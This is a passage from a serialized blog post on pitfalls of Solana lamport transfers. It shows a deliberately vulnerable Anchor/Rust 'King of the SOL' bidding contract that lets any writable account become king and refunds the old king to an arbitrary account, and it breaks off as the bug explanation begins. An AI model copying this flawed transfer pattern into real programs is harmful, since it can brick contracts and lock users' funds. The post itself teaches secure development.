[{"data":1,"prerenderedAt":167136},["ShallowReactive",2],{"blog-/blog/2025-05-14-king-of-the-sol":3,"featured-blog-posts":4902},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":14,"isFeatured":15,"tags":16,"onBlogPage":15,"body":18,"_type":4896,"_id":4897,"_source":4898,"_file":4899,"_stem":4900,"_extension":4901},"/blog/2025-05-14-king-of-the-sol","blog",false,"","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.","nicola",{"src":12,"height":13,"width":13},"/posts/king-of-the-sol/king-of-the-sol.png",1024,"2025-05-14",true,[17],"solana",{"type":19,"children":20,"toc":4885},"root",[21,30,36,52,58,63,96,101,106,1263,1268,1277,1282,1288,1295,1307,1341,1353,1366,1379,1843,1848,1898,1905,1910,1999,2004,2018,2031,2716,2721,2733,2739,2751,2763,2920,2934,2953,2974,2980,2985,3342,3347,3353,3372,3386,4023,4028,4049,4054,4059,4065,4077,4098,4278,4284,4289,4590,4611,4623,4635,4720,4740,4752,4758,4771,4777,4782,4805,4817,4823,4835,4840,4846,4851,4856,4874,4879],{"type":22,"tag":23,"props":24,"children":26},"element","h2",{"id":25},"introduction",[27],{"type":28,"value":29},"text","Introduction",{"type":22,"tag":31,"props":32,"children":33},"p",{},[34],{"type":28,"value":35},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":22,"tag":31,"props":37,"children":38},{},[39,41,50],{"type":28,"value":40},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":22,"tag":42,"props":43,"children":47},"a",{"href":44,"rel":45},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[46],"nofollow",[48],{"type":28,"value":49},"King of the Ether",{"type":28,"value":51},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":22,"tag":23,"props":53,"children":55},{"id":54},"the-game-king-of-the-sol",[56],{"type":28,"value":57},"The Game: King of the SOL",{"type":22,"tag":31,"props":59,"children":60},{},[61],{"type":28,"value":62},"The game works like this:",{"type":22,"tag":64,"props":65,"children":66},"ul",{},[67,81,86,91],{"type":22,"tag":68,"props":69,"children":70},"li",{},[71,73,79],{"type":28,"value":72},"Anyone can become the ",{"type":22,"tag":74,"props":75,"children":76},"strong",{},[77],{"type":28,"value":78},"king",{"type":28,"value":80}," by bidding at least 2× the previous bid.",{"type":22,"tag":68,"props":82,"children":83},{},[84],{"type":28,"value":85},"The old king is reimbursed 95% of their bid.",{"type":22,"tag":68,"props":87,"children":88},{},[89],{"type":28,"value":90},"The remaining 5% goes into a prize pot.",{"type":22,"tag":68,"props":92,"children":93},{},[94],{"type":28,"value":95},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":22,"tag":31,"props":97,"children":98},{},[99],{"type":28,"value":100},"Simple, right?",{"type":22,"tag":31,"props":102,"children":103},{},[104],{"type":28,"value":105},"This is the core logic:",{"type":22,"tag":107,"props":108,"children":112},"pre",{"className":109,"code":110,"language":111,"meta":7,"style":7},"language-rust shiki shiki-themes slack-dark","#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n","rust",[113],{"type":22,"tag":114,"props":115,"children":116},"code",{"__ignoreMap":7},[117,140,175,193,242,251,261,316,349,357,366,382,415,423,439,473,482,490,499,517,604,613,683,697,727,769,783,802,810,819,898,911,951,980,993,1009,1017,1026,1099,1144,1224,1232,1246,1255],{"type":22,"tag":118,"props":119,"children":122},"span",{"class":120,"line":121},"line",1,[123,129,135],{"type":22,"tag":118,"props":124,"children":126},{"style":125},"--shiki-default:#E6E6E6",[127],{"type":28,"value":128},"#[derive(",{"type":22,"tag":118,"props":130,"children":132},{"style":131},"--shiki-default:#4EC9B0",[133],{"type":28,"value":134},"Accounts",{"type":22,"tag":118,"props":136,"children":137},{"style":125},[138],{"type":28,"value":139},")]\n",{"type":22,"tag":118,"props":141,"children":143},{"class":120,"line":142},2,[144,150,155,160,165,170],{"type":22,"tag":118,"props":145,"children":147},{"style":146},"--shiki-default:#569CD6",[148],{"type":28,"value":149},"pub",{"type":22,"tag":118,"props":151,"children":152},{"style":146},[153],{"type":28,"value":154}," struct",{"type":22,"tag":118,"props":156,"children":157},{"style":131},[158],{"type":28,"value":159}," ChangeKing",{"type":22,"tag":118,"props":161,"children":162},{"style":125},[163],{"type":28,"value":164},"\u003C'",{"type":22,"tag":118,"props":166,"children":167},{"style":131},[168],{"type":28,"value":169},"info",{"type":22,"tag":118,"props":171,"children":172},{"style":125},[173],{"type":28,"value":174},"> {\n",{"type":22,"tag":118,"props":176,"children":178},{"class":120,"line":177},3,[179,184,189],{"type":22,"tag":118,"props":180,"children":181},{"style":125},[182],{"type":28,"value":183},"    #[account(",{"type":22,"tag":118,"props":185,"children":186},{"style":146},[187],{"type":28,"value":188},"mut",{"type":22,"tag":118,"props":190,"children":191},{"style":125},[192],{"type":28,"value":139},{"type":22,"tag":118,"props":194,"children":196},{"class":120,"line":195},4,[197,202,208,214,219,223,227,232,237],{"type":22,"tag":118,"props":198,"children":199},{"style":146},[200],{"type":28,"value":201},"    pub",{"type":22,"tag":118,"props":203,"children":205},{"style":204},"--shiki-default:#9CDCFE",[206],{"type":28,"value":207}," throne",{"type":22,"tag":118,"props":209,"children":211},{"style":210},"--shiki-default:#D4D4D4",[212],{"type":28,"value":213},":",{"type":22,"tag":118,"props":215,"children":216},{"style":131},[217],{"type":28,"value":218}," Account",{"type":22,"tag":118,"props":220,"children":221},{"style":125},[222],{"type":28,"value":164},{"type":22,"tag":118,"props":224,"children":225},{"style":131},[226],{"type":28,"value":169},{"type":22,"tag":118,"props":228,"children":229},{"style":125},[230],{"type":28,"value":231},", ",{"type":22,"tag":118,"props":233,"children":234},{"style":131},[235],{"type":28,"value":236},"Throne",{"type":22,"tag":118,"props":238,"children":239},{"style":125},[240],{"type":28,"value":241},">,\n",{"type":22,"tag":118,"props":243,"children":245},{"class":120,"line":244},5,[246],{"type":22,"tag":118,"props":247,"children":248},{"emptyLinePlaceholder":15},[249],{"type":28,"value":250},"\n",{"type":22,"tag":118,"props":252,"children":254},{"class":120,"line":253},6,[255],{"type":22,"tag":118,"props":256,"children":258},{"style":257},"--shiki-default:#6A9955",[259],{"type":28,"value":260},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":22,"tag":118,"props":262,"children":264},{"class":120,"line":263},7,[265,269,273,278,283,288,293,298,303,307,311],{"type":22,"tag":118,"props":266,"children":267},{"style":125},[268],{"type":28,"value":183},{"type":22,"tag":118,"props":270,"children":271},{"style":146},[272],{"type":28,"value":188},{"type":22,"tag":118,"props":274,"children":275},{"style":125},[276],{"type":28,"value":277},", constraint ",{"type":22,"tag":118,"props":279,"children":280},{"style":210},[281],{"type":28,"value":282},"=",{"type":22,"tag":118,"props":284,"children":285},{"style":125},[286],{"type":28,"value":287}," old_king",{"type":22,"tag":118,"props":289,"children":290},{"style":210},[291],{"type":28,"value":292},".",{"type":22,"tag":118,"props":294,"children":295},{"style":125},[296],{"type":28,"value":297},"key() ",{"type":22,"tag":118,"props":299,"children":300},{"style":210},[301],{"type":28,"value":302},"==",{"type":22,"tag":118,"props":304,"children":305},{"style":125},[306],{"type":28,"value":207},{"type":22,"tag":118,"props":308,"children":309},{"style":210},[310],{"type":28,"value":292},{"type":22,"tag":118,"props":312,"children":313},{"style":125},[314],{"type":28,"value":315},"king)]\n",{"type":22,"tag":118,"props":317,"children":319},{"class":120,"line":318},8,[320,324,328,332,337,341,345],{"type":22,"tag":118,"props":321,"children":322},{"style":146},[323],{"type":28,"value":201},{"type":22,"tag":118,"props":325,"children":326},{"style":204},[327],{"type":28,"value":287},{"type":22,"tag":118,"props":329,"children":330},{"style":210},[331],{"type":28,"value":213},{"type":22,"tag":118,"props":333,"children":334},{"style":131},[335],{"type":28,"value":336}," AccountInfo",{"type":22,"tag":118,"props":338,"children":339},{"style":125},[340],{"type":28,"value":164},{"type":22,"tag":118,"props":342,"children":343},{"style":131},[344],{"type":28,"value":169},{"type":22,"tag":118,"props":346,"children":347},{"style":125},[348],{"type":28,"value":241},{"type":22,"tag":118,"props":350,"children":352},{"class":120,"line":351},9,[353],{"type":22,"tag":118,"props":354,"children":355},{"emptyLinePlaceholder":15},[356],{"type":28,"value":250},{"type":22,"tag":118,"props":358,"children":360},{"class":120,"line":359},10,[361],{"type":22,"tag":118,"props":362,"children":363},{"style":257},[364],{"type":28,"value":365},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":22,"tag":118,"props":367,"children":369},{"class":120,"line":368},11,[370,374,378],{"type":22,"tag":118,"props":371,"children":372},{"style":125},[373],{"type":28,"value":183},{"type":22,"tag":118,"props":375,"children":376},{"style":146},[377],{"type":28,"value":188},{"type":22,"tag":118,"props":379,"children":380},{"style":125},[381],{"type":28,"value":139},{"type":22,"tag":118,"props":383,"children":385},{"class":120,"line":384},12,[386,390,395,399,403,407,411],{"type":22,"tag":118,"props":387,"children":388},{"style":146},[389],{"type":28,"value":201},{"type":22,"tag":118,"props":391,"children":392},{"style":204},[393],{"type":28,"value":394}," new_king",{"type":22,"tag":118,"props":396,"children":397},{"style":210},[398],{"type":28,"value":213},{"type":22,"tag":118,"props":400,"children":401},{"style":131},[402],{"type":28,"value":336},{"type":22,"tag":118,"props":404,"children":405},{"style":125},[406],{"type":28,"value":164},{"type":22,"tag":118,"props":408,"children":409},{"style":131},[410],{"type":28,"value":169},{"type":22,"tag":118,"props":412,"children":413},{"style":125},[414],{"type":28,"value":241},{"type":22,"tag":118,"props":416,"children":418},{"class":120,"line":417},13,[419],{"type":22,"tag":118,"props":420,"children":421},{"emptyLinePlaceholder":15},[422],{"type":28,"value":250},{"type":22,"tag":118,"props":424,"children":426},{"class":120,"line":425},14,[427,431,435],{"type":22,"tag":118,"props":428,"children":429},{"style":125},[430],{"type":28,"value":183},{"type":22,"tag":118,"props":432,"children":433},{"style":146},[434],{"type":28,"value":188},{"type":22,"tag":118,"props":436,"children":437},{"style":125},[438],{"type":28,"value":139},{"type":22,"tag":118,"props":440,"children":442},{"class":120,"line":441},15,[443,447,452,456,461,465,469],{"type":22,"tag":118,"props":444,"children":445},{"style":146},[446],{"type":28,"value":201},{"type":22,"tag":118,"props":448,"children":449},{"style":204},[450],{"type":28,"value":451}," payer",{"type":22,"tag":118,"props":453,"children":454},{"style":210},[455],{"type":28,"value":213},{"type":22,"tag":118,"props":457,"children":458},{"style":131},[459],{"type":28,"value":460}," Signer",{"type":22,"tag":118,"props":462,"children":463},{"style":125},[464],{"type":28,"value":164},{"type":22,"tag":118,"props":466,"children":467},{"style":131},[468],{"type":28,"value":169},{"type":22,"tag":118,"props":470,"children":471},{"style":125},[472],{"type":28,"value":241},{"type":22,"tag":118,"props":474,"children":476},{"class":120,"line":475},16,[477],{"type":22,"tag":118,"props":478,"children":479},{"style":125},[480],{"type":28,"value":481},"}\n",{"type":22,"tag":118,"props":483,"children":485},{"class":120,"line":484},17,[486],{"type":22,"tag":118,"props":487,"children":488},{"emptyLinePlaceholder":15},[489],{"type":28,"value":250},{"type":22,"tag":118,"props":491,"children":493},{"class":120,"line":492},18,[494],{"type":22,"tag":118,"props":495,"children":496},{"style":125},[497],{"type":28,"value":498},"#[program]\n",{"type":22,"tag":118,"props":500,"children":502},{"class":120,"line":501},19,[503,507,512],{"type":22,"tag":118,"props":504,"children":505},{"style":146},[506],{"type":28,"value":149},{"type":22,"tag":118,"props":508,"children":509},{"style":146},[510],{"type":28,"value":511}," mod",{"type":22,"tag":118,"props":513,"children":514},{"style":125},[515],{"type":28,"value":516}," king_of_the_sol {\n",{"type":22,"tag":118,"props":518,"children":520},{"class":120,"line":519},20,[521,525,530,536,541,546,550,555,560,565,570,575,579,584,589,594,599],{"type":22,"tag":118,"props":522,"children":523},{"style":146},[524],{"type":28,"value":201},{"type":22,"tag":118,"props":526,"children":527},{"style":146},[528],{"type":28,"value":529}," fn",{"type":22,"tag":118,"props":531,"children":533},{"style":532},"--shiki-default:#DCDCAA",[534],{"type":28,"value":535}," change_king",{"type":22,"tag":118,"props":537,"children":538},{"style":125},[539],{"type":28,"value":540},"(",{"type":22,"tag":118,"props":542,"children":543},{"style":204},[544],{"type":28,"value":545},"ctx",{"type":22,"tag":118,"props":547,"children":548},{"style":210},[549],{"type":28,"value":213},{"type":22,"tag":118,"props":551,"children":552},{"style":131},[553],{"type":28,"value":554}," Context",{"type":22,"tag":118,"props":556,"children":557},{"style":125},[558],{"type":28,"value":559},"\u003C",{"type":22,"tag":118,"props":561,"children":562},{"style":131},[563],{"type":28,"value":564},"ChangeKing",{"type":22,"tag":118,"props":566,"children":567},{"style":125},[568],{"type":28,"value":569},">, ",{"type":22,"tag":118,"props":571,"children":572},{"style":204},[573],{"type":28,"value":574},"bid_amount",{"type":22,"tag":118,"props":576,"children":577},{"style":210},[578],{"type":28,"value":213},{"type":22,"tag":118,"props":580,"children":581},{"style":131},[582],{"type":28,"value":583}," u64",{"type":22,"tag":118,"props":585,"children":586},{"style":125},[587],{"type":28,"value":588},") ",{"type":22,"tag":118,"props":590,"children":591},{"style":210},[592],{"type":28,"value":593},"->",{"type":22,"tag":118,"props":595,"children":596},{"style":131},[597],{"type":28,"value":598}," Result",{"type":22,"tag":118,"props":600,"children":601},{"style":125},[602],{"type":28,"value":603},"\u003C()> {\n",{"type":22,"tag":118,"props":605,"children":607},{"class":120,"line":606},21,[608],{"type":22,"tag":118,"props":609,"children":610},{"style":257},[611],{"type":28,"value":612},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":22,"tag":118,"props":614,"children":616},{"class":120,"line":615},22,[617,622,626,630,635,640,644,649,653,658,662,667,672,678],{"type":22,"tag":118,"props":618,"children":619},{"style":532},[620],{"type":28,"value":621},"        assert!",{"type":22,"tag":118,"props":623,"children":624},{"style":125},[625],{"type":28,"value":540},{"type":22,"tag":118,"props":627,"children":628},{"style":204},[629],{"type":28,"value":574},{"type":22,"tag":118,"props":631,"children":632},{"style":210},[633],{"type":28,"value":634}," >=",{"type":22,"tag":118,"props":636,"children":637},{"style":204},[638],{"type":28,"value":639}," ctx",{"type":22,"tag":118,"props":641,"children":642},{"style":210},[643],{"type":28,"value":292},{"type":22,"tag":118,"props":645,"children":646},{"style":125},[647],{"type":28,"value":648},"accounts",{"type":22,"tag":118,"props":650,"children":651},{"style":210},[652],{"type":28,"value":292},{"type":22,"tag":118,"props":654,"children":655},{"style":125},[656],{"type":28,"value":657},"throne",{"type":22,"tag":118,"props":659,"children":660},{"style":210},[661],{"type":28,"value":292},{"type":22,"tag":118,"props":663,"children":664},{"style":125},[665],{"type":28,"value":666},"last_bid_amount ",{"type":22,"tag":118,"props":668,"children":669},{"style":210},[670],{"type":28,"value":671},"*",{"type":22,"tag":118,"props":673,"children":675},{"style":674},"--shiki-default:#B5CEA8",[676],{"type":28,"value":677}," 2",{"type":22,"tag":118,"props":679,"children":680},{"style":125},[681],{"type":28,"value":682},");\n",{"type":22,"tag":118,"props":684,"children":686},{"class":120,"line":685},23,[687,692],{"type":22,"tag":118,"props":688,"children":689},{"style":532},[690],{"type":28,"value":691},"        transfer_from_signer",{"type":22,"tag":118,"props":693,"children":694},{"style":125},[695],{"type":28,"value":696},"(\n",{"type":22,"tag":118,"props":698,"children":700},{"class":120,"line":699},24,[701,706,710,714,718,722],{"type":22,"tag":118,"props":702,"children":703},{"style":210},[704],{"type":28,"value":705},"            &",{"type":22,"tag":118,"props":707,"children":708},{"style":204},[709],{"type":28,"value":545},{"type":22,"tag":118,"props":711,"children":712},{"style":210},[713],{"type":28,"value":292},{"type":22,"tag":118,"props":715,"children":716},{"style":125},[717],{"type":28,"value":648},{"type":22,"tag":118,"props":719,"children":720},{"style":210},[721],{"type":28,"value":292},{"type":22,"tag":118,"props":723,"children":724},{"style":125},[725],{"type":28,"value":726},"payer,\n",{"type":22,"tag":118,"props":728,"children":730},{"class":120,"line":729},25,[731,735,739,743,747,751,755,759,764],{"type":22,"tag":118,"props":732,"children":733},{"style":210},[734],{"type":28,"value":705},{"type":22,"tag":118,"props":736,"children":737},{"style":204},[738],{"type":28,"value":545},{"type":22,"tag":118,"props":740,"children":741},{"style":210},[742],{"type":28,"value":292},{"type":22,"tag":118,"props":744,"children":745},{"style":125},[746],{"type":28,"value":648},{"type":22,"tag":118,"props":748,"children":749},{"style":210},[750],{"type":28,"value":292},{"type":22,"tag":118,"props":752,"children":753},{"style":125},[754],{"type":28,"value":657},{"type":22,"tag":118,"props":756,"children":757},{"style":210},[758],{"type":28,"value":292},{"type":22,"tag":118,"props":760,"children":761},{"style":532},[762],{"type":28,"value":763},"to_account_info",{"type":22,"tag":118,"props":765,"children":766},{"style":125},[767],{"type":28,"value":768},"(),\n",{"type":22,"tag":118,"props":770,"children":772},{"class":120,"line":771},26,[773,778],{"type":22,"tag":118,"props":774,"children":775},{"style":204},[776],{"type":28,"value":777},"            bid_amount",{"type":22,"tag":118,"props":779,"children":780},{"style":125},[781],{"type":28,"value":782},",\n",{"type":22,"tag":118,"props":784,"children":786},{"class":120,"line":785},27,[787,792,797],{"type":22,"tag":118,"props":788,"children":789},{"style":125},[790],{"type":28,"value":791},"        )",{"type":22,"tag":118,"props":793,"children":794},{"style":210},[795],{"type":28,"value":796},"?",{"type":22,"tag":118,"props":798,"children":799},{"style":125},[800],{"type":28,"value":801},";\n",{"type":22,"tag":118,"props":803,"children":805},{"class":120,"line":804},28,[806],{"type":22,"tag":118,"props":807,"children":808},{"emptyLinePlaceholder":15},[809],{"type":28,"value":250},{"type":22,"tag":118,"props":811,"children":813},{"class":120,"line":812},29,[814],{"type":22,"tag":118,"props":815,"children":816},{"style":257},[817],{"type":28,"value":818},"        // Reimburse 95% of the last bid to the old king\n",{"type":22,"tag":118,"props":820,"children":822},{"class":120,"line":821},30,[823,828,833,838,843,847,851,855,859,863,867,871,875,880,884,889,894],{"type":22,"tag":118,"props":824,"children":825},{"style":146},[826],{"type":28,"value":827},"        let",{"type":22,"tag":118,"props":829,"children":830},{"style":204},[831],{"type":28,"value":832}," to_reimburse",{"type":22,"tag":118,"props":834,"children":835},{"style":210},[836],{"type":28,"value":837}," =",{"type":22,"tag":118,"props":839,"children":840},{"style":125},[841],{"type":28,"value":842}," (",{"type":22,"tag":118,"props":844,"children":845},{"style":204},[846],{"type":28,"value":545},{"type":22,"tag":118,"props":848,"children":849},{"style":210},[850],{"type":28,"value":292},{"type":22,"tag":118,"props":852,"children":853},{"style":125},[854],{"type":28,"value":648},{"type":22,"tag":118,"props":856,"children":857},{"style":210},[858],{"type":28,"value":292},{"type":22,"tag":118,"props":860,"children":861},{"style":125},[862],{"type":28,"value":657},{"type":22,"tag":118,"props":864,"children":865},{"style":210},[866],{"type":28,"value":292},{"type":22,"tag":118,"props":868,"children":869},{"style":125},[870],{"type":28,"value":666},{"type":22,"tag":118,"props":872,"children":873},{"style":210},[874],{"type":28,"value":671},{"type":22,"tag":118,"props":876,"children":877},{"style":674},[878],{"type":28,"value":879}," 9500",{"type":22,"tag":118,"props":881,"children":882},{"style":125},[883],{"type":28,"value":588},{"type":22,"tag":118,"props":885,"children":886},{"style":210},[887],{"type":28,"value":888},"/",{"type":22,"tag":118,"props":890,"children":891},{"style":674},[892],{"type":28,"value":893}," 10000",{"type":22,"tag":118,"props":895,"children":896},{"style":125},[897],{"type":28,"value":801},{"type":22,"tag":118,"props":899,"children":901},{"class":120,"line":900},31,[902,907],{"type":22,"tag":118,"props":903,"children":904},{"style":532},[905],{"type":28,"value":906},"        transfer_from_pda",{"type":22,"tag":118,"props":908,"children":909},{"style":125},[910],{"type":28,"value":696},{"type":22,"tag":118,"props":912,"children":914},{"class":120,"line":913},32,[915,919,923,927,931,935,939,943,947],{"type":22,"tag":118,"props":916,"children":917},{"style":210},[918],{"type":28,"value":705},{"type":22,"tag":118,"props":920,"children":921},{"style":204},[922],{"type":28,"value":545},{"type":22,"tag":118,"props":924,"children":925},{"style":210},[926],{"type":28,"value":292},{"type":22,"tag":118,"props":928,"children":929},{"style":125},[930],{"type":28,"value":648},{"type":22,"tag":118,"props":932,"children":933},{"style":210},[934],{"type":28,"value":292},{"type":22,"tag":118,"props":936,"children":937},{"style":125},[938],{"type":28,"value":657},{"type":22,"tag":118,"props":940,"children":941},{"style":210},[942],{"type":28,"value":292},{"type":22,"tag":118,"props":944,"children":945},{"style":532},[946],{"type":28,"value":763},{"type":22,"tag":118,"props":948,"children":949},{"style":125},[950],{"type":28,"value":768},{"type":22,"tag":118,"props":952,"children":954},{"class":120,"line":953},33,[955,959,963,967,971,975],{"type":22,"tag":118,"props":956,"children":957},{"style":210},[958],{"type":28,"value":705},{"type":22,"tag":118,"props":960,"children":961},{"style":204},[962],{"type":28,"value":545},{"type":22,"tag":118,"props":964,"children":965},{"style":210},[966],{"type":28,"value":292},{"type":22,"tag":118,"props":968,"children":969},{"style":125},[970],{"type":28,"value":648},{"type":22,"tag":118,"props":972,"children":973},{"style":210},[974],{"type":28,"value":292},{"type":22,"tag":118,"props":976,"children":977},{"style":125},[978],{"type":28,"value":979},"old_king,\n",{"type":22,"tag":118,"props":981,"children":983},{"class":120,"line":982},34,[984,989],{"type":22,"tag":118,"props":985,"children":986},{"style":204},[987],{"type":28,"value":988},"            to_reimburse",{"type":22,"tag":118,"props":990,"children":991},{"style":125},[992],{"type":28,"value":782},{"type":22,"tag":118,"props":994,"children":996},{"class":120,"line":995},35,[997,1001,1005],{"type":22,"tag":118,"props":998,"children":999},{"style":125},[1000],{"type":28,"value":791},{"type":22,"tag":118,"props":1002,"children":1003},{"style":210},[1004],{"type":28,"value":796},{"type":22,"tag":118,"props":1006,"children":1007},{"style":125},[1008],{"type":28,"value":801},{"type":22,"tag":118,"props":1010,"children":1012},{"class":120,"line":1011},36,[1013],{"type":22,"tag":118,"props":1014,"children":1015},{"emptyLinePlaceholder":15},[1016],{"type":28,"value":250},{"type":22,"tag":118,"props":1018,"children":1020},{"class":120,"line":1019},37,[1021],{"type":22,"tag":118,"props":1022,"children":1023},{"style":257},[1024],{"type":28,"value":1025},"        // Set new king\n",{"type":22,"tag":118,"props":1027,"children":1029},{"class":120,"line":1028},38,[1030,1035,1039,1043,1047,1051,1055,1060,1064,1068,1072,1076,1080,1085,1089,1094],{"type":22,"tag":118,"props":1031,"children":1032},{"style":204},[1033],{"type":28,"value":1034},"        ctx",{"type":22,"tag":118,"props":1036,"children":1037},{"style":210},[1038],{"type":28,"value":292},{"type":22,"tag":118,"props":1040,"children":1041},{"style":125},[1042],{"type":28,"value":648},{"type":22,"tag":118,"props":1044,"children":1045},{"style":210},[1046],{"type":28,"value":292},{"type":22,"tag":118,"props":1048,"children":1049},{"style":125},[1050],{"type":28,"value":657},{"type":22,"tag":118,"props":1052,"children":1053},{"style":210},[1054],{"type":28,"value":292},{"type":22,"tag":118,"props":1056,"children":1057},{"style":125},[1058],{"type":28,"value":1059},"king ",{"type":22,"tag":118,"props":1061,"children":1062},{"style":210},[1063],{"type":28,"value":282},{"type":22,"tag":118,"props":1065,"children":1066},{"style":204},[1067],{"type":28,"value":639},{"type":22,"tag":118,"props":1069,"children":1070},{"style":210},[1071],{"type":28,"value":292},{"type":22,"tag":118,"props":1073,"children":1074},{"style":125},[1075],{"type":28,"value":648},{"type":22,"tag":118,"props":1077,"children":1078},{"style":210},[1079],{"type":28,"value":292},{"type":22,"tag":118,"props":1081,"children":1082},{"style":125},[1083],{"type":28,"value":1084},"new_king",{"type":22,"tag":118,"props":1086,"children":1087},{"style":210},[1088],{"type":28,"value":292},{"type":22,"tag":118,"props":1090,"children":1091},{"style":532},[1092],{"type":28,"value":1093},"key",{"type":22,"tag":118,"props":1095,"children":1096},{"style":125},[1097],{"type":28,"value":1098},"();\n",{"type":22,"tag":118,"props":1100,"children":1102},{"class":120,"line":1101},39,[1103,1107,1111,1115,1119,1123,1127,1131,1135,1140],{"type":22,"tag":118,"props":1104,"children":1105},{"style":204},[1106],{"type":28,"value":1034},{"type":22,"tag":118,"props":1108,"children":1109},{"style":210},[1110],{"type":28,"value":292},{"type":22,"tag":118,"props":1112,"children":1113},{"style":125},[1114],{"type":28,"value":648},{"type":22,"tag":118,"props":1116,"children":1117},{"style":210},[1118],{"type":28,"value":292},{"type":22,"tag":118,"props":1120,"children":1121},{"style":125},[1122],{"type":28,"value":657},{"type":22,"tag":118,"props":1124,"children":1125},{"style":210},[1126],{"type":28,"value":292},{"type":22,"tag":118,"props":1128,"children":1129},{"style":125},[1130],{"type":28,"value":666},{"type":22,"tag":118,"props":1132,"children":1133},{"style":210},[1134],{"type":28,"value":282},{"type":22,"tag":118,"props":1136,"children":1137},{"style":204},[1138],{"type":28,"value":1139}," bid_amount",{"type":22,"tag":118,"props":1141,"children":1142},{"style":125},[1143],{"type":28,"value":801},{"type":22,"tag":118,"props":1145,"children":1147},{"class":120,"line":1146},40,[1148,1152,1156,1160,1164,1168,1172,1177,1181,1186,1191,1196,1201,1206,1211,1216,1220],{"type":22,"tag":118,"props":1149,"children":1150},{"style":204},[1151],{"type":28,"value":1034},{"type":22,"tag":118,"props":1153,"children":1154},{"style":210},[1155],{"type":28,"value":292},{"type":22,"tag":118,"props":1157,"children":1158},{"style":125},[1159],{"type":28,"value":648},{"type":22,"tag":118,"props":1161,"children":1162},{"style":210},[1163],{"type":28,"value":292},{"type":22,"tag":118,"props":1165,"children":1166},{"style":125},[1167],{"type":28,"value":657},{"type":22,"tag":118,"props":1169,"children":1170},{"style":210},[1171],{"type":28,"value":292},{"type":22,"tag":118,"props":1173,"children":1174},{"style":125},[1175],{"type":28,"value":1176},"last_time ",{"type":22,"tag":118,"props":1178,"children":1179},{"style":210},[1180],{"type":28,"value":282},{"type":22,"tag":118,"props":1182,"children":1183},{"style":131},[1184],{"type":28,"value":1185}," Clock",{"type":22,"tag":118,"props":1187,"children":1188},{"style":210},[1189],{"type":28,"value":1190},"::",{"type":22,"tag":118,"props":1192,"children":1193},{"style":532},[1194],{"type":28,"value":1195},"get",{"type":22,"tag":118,"props":1197,"children":1198},{"style":125},[1199],{"type":28,"value":1200},"()",{"type":22,"tag":118,"props":1202,"children":1203},{"style":210},[1204],{"type":28,"value":1205},"?.",{"type":22,"tag":118,"props":1207,"children":1208},{"style":125},[1209],{"type":28,"value":1210},"unix_timestamp ",{"type":22,"tag":118,"props":1212,"children":1213},{"style":146},[1214],{"type":28,"value":1215},"as",{"type":22,"tag":118,"props":1217,"children":1218},{"style":131},[1219],{"type":28,"value":583},{"type":22,"tag":118,"props":1221,"children":1222},{"style":125},[1223],{"type":28,"value":801},{"type":22,"tag":118,"props":1225,"children":1227},{"class":120,"line":1226},41,[1228],{"type":22,"tag":118,"props":1229,"children":1230},{"emptyLinePlaceholder":15},[1231],{"type":28,"value":250},{"type":22,"tag":118,"props":1233,"children":1235},{"class":120,"line":1234},42,[1236,1241],{"type":22,"tag":118,"props":1237,"children":1238},{"style":131},[1239],{"type":28,"value":1240},"        Ok",{"type":22,"tag":118,"props":1242,"children":1243},{"style":125},[1244],{"type":28,"value":1245},"(())\n",{"type":22,"tag":118,"props":1247,"children":1249},{"class":120,"line":1248},43,[1250],{"type":22,"tag":118,"props":1251,"children":1252},{"style":125},[1253],{"type":28,"value":1254},"    }\n",{"type":22,"tag":118,"props":1256,"children":1258},{"class":120,"line":1257},44,[1259],{"type":22,"tag":118,"props":1260,"children":1261},{"style":125},[1262],{"type":28,"value":481},{"type":22,"tag":31,"props":1264,"children":1265},{},[1266],{"type":28,"value":1267},"Note this comment:",{"type":22,"tag":1269,"props":1270,"children":1271},"blockquote",{},[1272],{"type":22,"tag":31,"props":1273,"children":1274},{},[1275],{"type":28,"value":1276},"any writable account is allowed as a new king.",{"type":22,"tag":31,"props":1278,"children":1279},{},[1280],{"type":28,"value":1281},"...Is our assumption correct?",{"type":22,"tag":23,"props":1283,"children":1285},{"id":1284},"the-bugs-lurking-beneath",[1286],{"type":28,"value":1287},"The Bugs Lurking Beneath",{"type":22,"tag":1289,"props":1290,"children":1292},"h3",{"id":1291},"bug-1-the-rent-exemption-trap",[1293],{"type":28,"value":1294},"Bug 1: The Rent-Exemption 